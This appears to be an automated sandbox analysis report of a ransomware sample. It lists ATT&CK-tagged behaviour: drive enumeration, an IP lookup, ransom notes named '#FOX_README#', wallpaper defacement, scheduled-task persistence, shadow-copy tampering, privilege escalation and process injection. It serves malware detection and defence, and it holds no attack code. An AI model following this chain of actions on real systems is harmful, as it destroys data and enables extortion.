Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

WegCvGtZ64.exe0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe

description	ioc	process
File opened (read-only)	\??\J:	WegCvGtZ64.exe
File opened (read-only)	\??\R:	WegCvGtZ64.exe
File opened (read-only)	\??\Y:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\V:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\S:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\G:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\Q:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\B:	WegCvGtZ64.exe
File opened (read-only)	\??\S:	WegCvGtZ64.exe
File opened (read-only)	\??\W:	WegCvGtZ64.exe
File opened (read-only)	\??\T:	WegCvGtZ64.exe
File opened (read-only)	\??\U:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\L:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\A:	WegCvGtZ64.exe
File opened (read-only)	\??\Q:	WegCvGtZ64.exe
File opened (read-only)	\??\K:	WegCvGtZ64.exe
File opened (read-only)	\??\P:	WegCvGtZ64.exe
File opened (read-only)	\??\W:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\J:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\H:	WegCvGtZ64.exe
File opened (read-only)	\??\I:	WegCvGtZ64.exe
File opened (read-only)	\??\T:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\H:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\L:	WegCvGtZ64.exe
File opened (read-only)	\??\E:	WegCvGtZ64.exe
File opened (read-only)	\??\M:	WegCvGtZ64.exe
File opened (read-only)	\??\N:	WegCvGtZ64.exe
File opened (read-only)	\??\X:	WegCvGtZ64.exe
File opened (read-only)	\??\O:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\M:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\I:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\E:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\Z:	WegCvGtZ64.exe
File opened (read-only)	\??\O:	WegCvGtZ64.exe
File opened (read-only)	\??\Y:	WegCvGtZ64.exe
File opened (read-only)	\??\X:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\R:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\N:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\K:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\V:	WegCvGtZ64.exe
File opened (read-only)	\??\Z:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\P:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\G:	WegCvGtZ64.exe
File opened (read-only)	\??\U:	WegCvGtZ64.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

333 myexternalip.com

flow	ioc
333	myexternalip.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\ZmWmqqtz.bmp"	reg.exe

Drops file in Program Files directory 64 IoCs

Processes:

0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\index_poster.jpg	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdXC2RVL_KMS_ClientC2R-ppd.xrm-ms	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-cn\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\ru-ru\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Bibliography\Style\APASixthEditionOfficeOnline.xsl	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\export.svg	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Sigma\Social.DATA	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sk-sk\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019XC2RVL_MAKC2R-ul-oob.xrm-ms	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-black_scale-100.png	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Redact_R_RHP.aapp	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_OEM_Perp3-ppd.xrm-ms	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STUDIO\STUDIO.ELM	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Measure.aapp	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\bg_pattern_RHP.png	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\VisualElements\LogoDev.png	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\en-ae\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\AccessR_Trial-ppd.xrm-ms	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\Cartridges\msql.xsl	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\NETWORK\PREVIEW.GIF	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\modules\sandbox.luac	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr.gif	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\da_get.svg	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\tt.pak.DATA	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\AirSpace.Etw.man	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RMNSQUE\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\modules\httprequests.luac	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\main.css	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-gb\ui-strings.js	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\VisualElements\LogoDev.png	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\OMML2MML.XSL	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL010.XML	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LAYERS\LAYERS.ELM	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\uk-ua\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\OptimizePDF_R_RHP.aapp	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\skins\skin.catalog	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fr-ma\ui-strings.js	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\progress.gif	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\MergeExport.vdx	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\S_IlluEmptyStateCCFiles_280x192.svg	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\eu-es\ui-strings.js	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-no-text_2x.gif	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\pt-br\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\sl-si\ui-strings.js	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Access2019VL_MAK_AE-ppd.xrm-ms	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ja-jp\ui-strings.js	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\identity_proxy\canary.identity_helper.exe.manifest	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\selector.js	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\ru_get.svg	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightDemiBold.ttf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\AccessVL_KMS_Client-ppd.xrm-ms	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeStudent2019R_Retail-pl.xrm-ms	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\en_US\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\adobe_spinner.gif	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaSansDemiBold.ttf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\spectrum_spinner_process.svg	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\es-es\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\cs-cz\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\be.txt	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\unicode.md	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

4932 schtasks.exe
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exe

pid process

5860 vssadmin.exe
5140 vssadmin.exe

pid	process
4932	schtasks.exe

pid	process
5860	vssadmin.exe
5140	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

powershell.exeWegCvGtZ64.exepowershell.exe

pid	process
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
4496	WegCvGtZ64.exe
4496	WegCvGtZ64.exe
4496	WegCvGtZ64.exe
4496	WegCvGtZ64.exe
4496	WegCvGtZ64.exe
4496	WegCvGtZ64.exe
4496	WegCvGtZ64.exe
4496	WegCvGtZ64.exe
4496	WegCvGtZ64.exe
4496	WegCvGtZ64.exe
4496	WegCvGtZ64.exe
7812	powershell.exe
7812	powershell.exe
7812	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

WegCvGtZ64.exe

pid process

4496 WegCvGtZ64.exe

pid	process
4496	WegCvGtZ64.exe

Suspicious use of AdjustPrivilegeToken 50 IoCs

Processes:

powershell.exetakeown.exeWegCvGtZ64.exevssvc.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeTakeOwnershipPrivilege	5360	takeown.exe
Token: SeDebugPrivilege	4496	WegCvGtZ64.exe
Token: SeLoadDriverPrivilege	4496	WegCvGtZ64.exe
Token: SeBackupPrivilege	1712	vssvc.exe
Token: SeRestorePrivilege	1712	vssvc.exe
Token: SeAuditPrivilege	1712	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5848	WMIC.exe
Token: SeSecurityPrivilege	5848	WMIC.exe
Token: SeTakeOwnershipPrivilege	5848	WMIC.exe
Token: SeLoadDriverPrivilege	5848	WMIC.exe
Token: SeSystemProfilePrivilege	5848	WMIC.exe
Token: SeSystemtimePrivilege	5848	WMIC.exe
Token: SeProfSingleProcessPrivilege	5848	WMIC.exe
Token: SeIncBasePriorityPrivilege	5848	WMIC.exe
Token: SeCreatePagefilePrivilege	5848	WMIC.exe
Token: SeBackupPrivilege	5848	WMIC.exe
Token: SeRestorePrivilege	5848	WMIC.exe
Token: SeShutdownPrivilege	5848	WMIC.exe
Token: SeDebugPrivilege	5848	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5848	WMIC.exe
Token: SeRemoteShutdownPrivilege	5848	WMIC.exe
Token: SeUndockPrivilege	5848	WMIC.exe
Token: SeManageVolumePrivilege	5848	WMIC.exe
Token: 33	5848	WMIC.exe
Token: 34	5848	WMIC.exe
Token: 35	5848	WMIC.exe
Token: 36	5848	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5848	WMIC.exe
Token: SeSecurityPrivilege	5848	WMIC.exe
Token: SeTakeOwnershipPrivilege	5848	WMIC.exe
Token: SeLoadDriverPrivilege	5848	WMIC.exe
Token: SeSystemProfilePrivilege	5848	WMIC.exe
Token: SeSystemtimePrivilege	5848	WMIC.exe
Token: SeProfSingleProcessPrivilege	5848	WMIC.exe
Token: SeIncBasePriorityPrivilege	5848	WMIC.exe
Token: SeCreatePagefilePrivilege	5848	WMIC.exe
Token: SeBackupPrivilege	5848	WMIC.exe
Token: SeRestorePrivilege	5848	WMIC.exe
Token: SeShutdownPrivilege	5848	WMIC.exe
Token: SeDebugPrivilege	5848	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5848	WMIC.exe
Token: SeRemoteShutdownPrivilege	5848	WMIC.exe
Token: SeUndockPrivilege	5848	WMIC.exe
Token: SeManageVolumePrivilege	5848	WMIC.exe
Token: 33	5848	WMIC.exe
Token: 34	5848	WMIC.exe
Token: 35	5848	WMIC.exe
Token: 36	5848	WMIC.exe
Token: SeDebugPrivilege	7812	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.execmd.execmd.execmd.execmd.execmd.exeWegCvGtZ.exewscript.execmd.execmd.execmd.exe

description	pid	process	target process
PID 3496 wrote to memory of 3996	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3496 wrote to memory of 3996	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3496 wrote to memory of 3996	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3496 wrote to memory of 1368	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	NWVBvXqV.exe
PID 3496 wrote to memory of 1368	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	NWVBvXqV.exe
PID 3496 wrote to memory of 1368	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	NWVBvXqV.exe
PID 3496 wrote to memory of 3924	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3496 wrote to memory of 3924	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3496 wrote to memory of 3924	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3924 wrote to memory of 1028	3924	cmd.exe	powershell.exe
PID 3924 wrote to memory of 1028	3924	cmd.exe	powershell.exe
PID 3924 wrote to memory of 1028	3924	cmd.exe	powershell.exe
PID 3496 wrote to memory of 5476	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3496 wrote to memory of 5476	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3496 wrote to memory of 5476	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3496 wrote to memory of 5492	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3496 wrote to memory of 5492	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3496 wrote to memory of 5492	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 5476 wrote to memory of 5936	5476	cmd.exe	reg.exe
PID 5476 wrote to memory of 5936	5476	cmd.exe	reg.exe
PID 5476 wrote to memory of 5936	5476	cmd.exe	reg.exe
PID 5492 wrote to memory of 5952	5492	cmd.exe	wscript.exe
PID 5492 wrote to memory of 5952	5492	cmd.exe	wscript.exe
PID 5492 wrote to memory of 5952	5492	cmd.exe	wscript.exe
PID 5476 wrote to memory of 6092	5476	cmd.exe	reg.exe
PID 5476 wrote to memory of 6092	5476	cmd.exe	reg.exe
PID 5476 wrote to memory of 6092	5476	cmd.exe	reg.exe
PID 5476 wrote to memory of 6124	5476	cmd.exe	reg.exe
PID 5476 wrote to memory of 6124	5476	cmd.exe	reg.exe
PID 5476 wrote to memory of 6124	5476	cmd.exe	reg.exe
PID 3496 wrote to memory of 5172	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3496 wrote to memory of 5172	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3496 wrote to memory of 5172	3496	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 5172 wrote to memory of 5916	5172	cmd.exe	attrib.exe
PID 5172 wrote to memory of 5916	5172	cmd.exe	attrib.exe
PID 5172 wrote to memory of 5916	5172	cmd.exe	attrib.exe
PID 5172 wrote to memory of 5948	5172	cmd.exe	cacls.exe
PID 5172 wrote to memory of 5948	5172	cmd.exe	cacls.exe
PID 5172 wrote to memory of 5948	5172	cmd.exe	cacls.exe
PID 5172 wrote to memory of 5360	5172	cmd.exe	takeown.exe
PID 5172 wrote to memory of 5360	5172	cmd.exe	takeown.exe
PID 5172 wrote to memory of 5360	5172	cmd.exe	takeown.exe
PID 5172 wrote to memory of 5548	5172	cmd.exe	cmd.exe
PID 5172 wrote to memory of 5548	5172	cmd.exe	cmd.exe
PID 5172 wrote to memory of 5548	5172	cmd.exe	cmd.exe
PID 5548 wrote to memory of 5656	5548	cmd.exe	WegCvGtZ.exe
PID 5548 wrote to memory of 5656	5548	cmd.exe	WegCvGtZ.exe
PID 5548 wrote to memory of 5656	5548	cmd.exe	WegCvGtZ.exe
PID 5656 wrote to memory of 4496	5656	WegCvGtZ.exe	WegCvGtZ64.exe
PID 5656 wrote to memory of 4496	5656	WegCvGtZ.exe	WegCvGtZ64.exe
PID 5952 wrote to memory of 5500	5952	wscript.exe	cmd.exe
PID 5952 wrote to memory of 5500	5952	wscript.exe	cmd.exe
PID 5952 wrote to memory of 5500	5952	wscript.exe	cmd.exe
PID 5500 wrote to memory of 4932	5500	cmd.exe	schtasks.exe
PID 5500 wrote to memory of 4932	5500	cmd.exe	schtasks.exe
PID 5500 wrote to memory of 4932	5500	cmd.exe	schtasks.exe
PID 5952 wrote to memory of 5132	5952	wscript.exe	cmd.exe
PID 5952 wrote to memory of 5132	5952	wscript.exe	cmd.exe
PID 5952 wrote to memory of 5132	5952	wscript.exe	cmd.exe
PID 5132 wrote to memory of 4352	5132	cmd.exe	schtasks.exe
PID 5132 wrote to memory of 4352	5132	cmd.exe	schtasks.exe
PID 5132 wrote to memory of 4352	5132	cmd.exe	schtasks.exe
PID 5688 wrote to memory of 5860	5688	cmd.exe	vssadmin.exe
PID 5688 wrote to memory of 5860	5688	cmd.exe	vssadmin.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

5916 attrib.exe

pid	process
5916	attrib.exe

